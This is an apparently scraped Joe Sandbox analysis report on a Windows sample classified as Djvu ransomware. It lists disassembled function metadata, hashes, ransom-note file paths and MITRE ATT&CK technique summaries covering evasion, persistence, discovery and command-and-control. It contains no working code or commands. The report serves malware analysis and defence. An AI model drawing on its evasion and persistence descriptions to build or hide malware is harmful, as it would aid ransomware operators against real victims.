Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 8c016e97d47bc8d84ec44ae6414b5165a16540fc6d58c9a1d11ba7a4486e45a2
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: E511B6716017146BEB217E659C42FAB7BCEDF02760F0004A6FD0896A41EB65E9008EE4

Function 02292670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022926DB
_memset.LIBCMT ref: 02292A30
_memset.LIBCMT ref: 02292AC0

Strings

D, xrefs: 02292AC8

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 2605ee6d1fa0e38c0b0c1b428c0071d657d9256ea9b7e2806ad3430655c0cf26
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: C5E16A71D1021AEBDF24DBE0CD89FEEB7B8BF04304F144169E909A2194EB746A45CF54

Function 0228D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0228D8EA

Strings

(, xrefs: 0228DAE9
$, xrefs: 0228DAE2
, xrefs: 0228DADB

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: f620d5b1e4e2949f574d6481512835dadba9d04f4d057cab97ec2c406f137f6d
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 3C91AB71C112099BEF20DFE0C859BEEBBB5AF05308F244169D405B72C4DBB69A48CFA5

Function 022A5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 022A5CF4

Strings

U, xrefs: 022A5CFD

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 5a3a7e4afeec101c9b0bf8d9a110910f53b7e3a74c1de90c7b12fd9c559b1955
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 1D215B32A34309BBEB009AE4AC54BBF739DDF45350F900065F908C6998FF70E9548AA0

Function 0229A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0229A858
_memset.LIBCMT ref: 0229A869
_memset.LIBCMT ref: 0229A87A

Strings

p2Q, xrefs: 0229A882

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 22f00a8a4e9c5ef077834ca32b92b4faf8c27c19e33e614236c98f918c04012a
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 5CF0E578694750A6F71177A0BC367857D917B32B09F104044E1142E2E5D3FD234CA799

Function 022CFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022CFBF1

Part of subcall function 022B169C: std::exception::_Copy_str.LIBCMT ref: 022B16B5

__CxxThrowException@8.LIBCMT ref: 022CFC06

Strings

TeM, xrefs: 022CFBFB, 022CFBE7
TeM, xrefs: 022CFBFE

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 0a3b58b85b3182ac6d9200aa26d72de94dd3e0c12a5b4f56f8ed455ccd7493cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 06D06775C0030CBBCF05EFA5D459CDDBBB9AE04384B408466A91897245EA74A3598F94

Function 0228D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 022A197D: __wfsopen.LIBCMT ref: 022A1988

_fgetws.LIBCMT ref: 0228D15C

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 82d7224335f503f8d2d0c5c8e88d20c56b538571b51cf539ce9dca600254ab08
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 6F91A371D213169BCF20EFE4C844BAEB7B5AF04314F140529E815A76C9E7B5EA18CB92

Function 0228D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0228D77E
_malloc.LIBCMT ref: 0228D7B2
_malloc.LIBCMT ref: 0228D7C1
_fprintf.LIBCMT ref: 0228D815

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 34752b4d417fd5ddd9c54484898a088b5200fe72f5aacebab7e75aaeae6c64db
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: A6A15BB1C10348EBEF11EFE4C855BEEBB76AF14308F140128D4057A2D5D7B69A58CBA6

Function 022A2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 022A2B2E
__read_nolock.LIBCMT ref: 022A2BFE
__filbuf.LIBCMT ref: 022A2C21
_memset.LIBCMT ref: 022A2C65

Part of subcall function 022A5BA8: __getptd_noexit.LIBCMT ref: 022A5BA8

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: b273739a7052136a20b5baed69eccc3d2ae3b8696266f3408e69ccf464e35dd7
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: F8519470A21306DBDB248FF989A476EB7B6BF40324F148B29EC3596AD8D7709950CF40

Function 022C1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 022C137D

Part of subcall function 022C1A9D: __fltout2.LIBCMT ref: 022C1AC6

__cftog_l.LIBCMT ref: 022C13A3
__cftoe_l.LIBCMT ref: 022C13D5

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 13b8f63246620e74bf7ab0310386765a59f320d2bfc88e573b30167bfc0340ba
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 29017E3206014ABBCF125EC4CC02CED3F63BF18348B688619FA1C59539D336C5B1AB81

Function 02347A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02347A4B

Part of subcall function 02348140: ___BuildCatchObjectHelper.LIBCMT ref: 02348172
Part of subcall function 02348140: ___AdjustPointer.LIBCMT ref: 02348189

_UnwindNestedFrames.LIBCMT ref: 02347A62
___FrameUnwindToState.LIBCMT ref: 02347A74
CallCatchBlock.LIBCMT ref: 02347A98

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 581b693785c4f15d059d15e03b9e579981a1a72d03b37b7d319bd44d09cbd314
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2401D732100109BBCF22AF55CD01EEA7BBAEF49758F158055FD1865221DB32E961DFA0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

C:\$WinREAgent\_readme.txt

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files\7-Zip\Uninstall.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_OmbNjE.exe_a067dac1be87f9a22e85aad87accabbe1378_874d50d4_a2e37605-f44c-4a33-8c21-c45f2513ee15\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4ECB.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5034.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5064.tmp.xml

Windows Analysis Report
F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre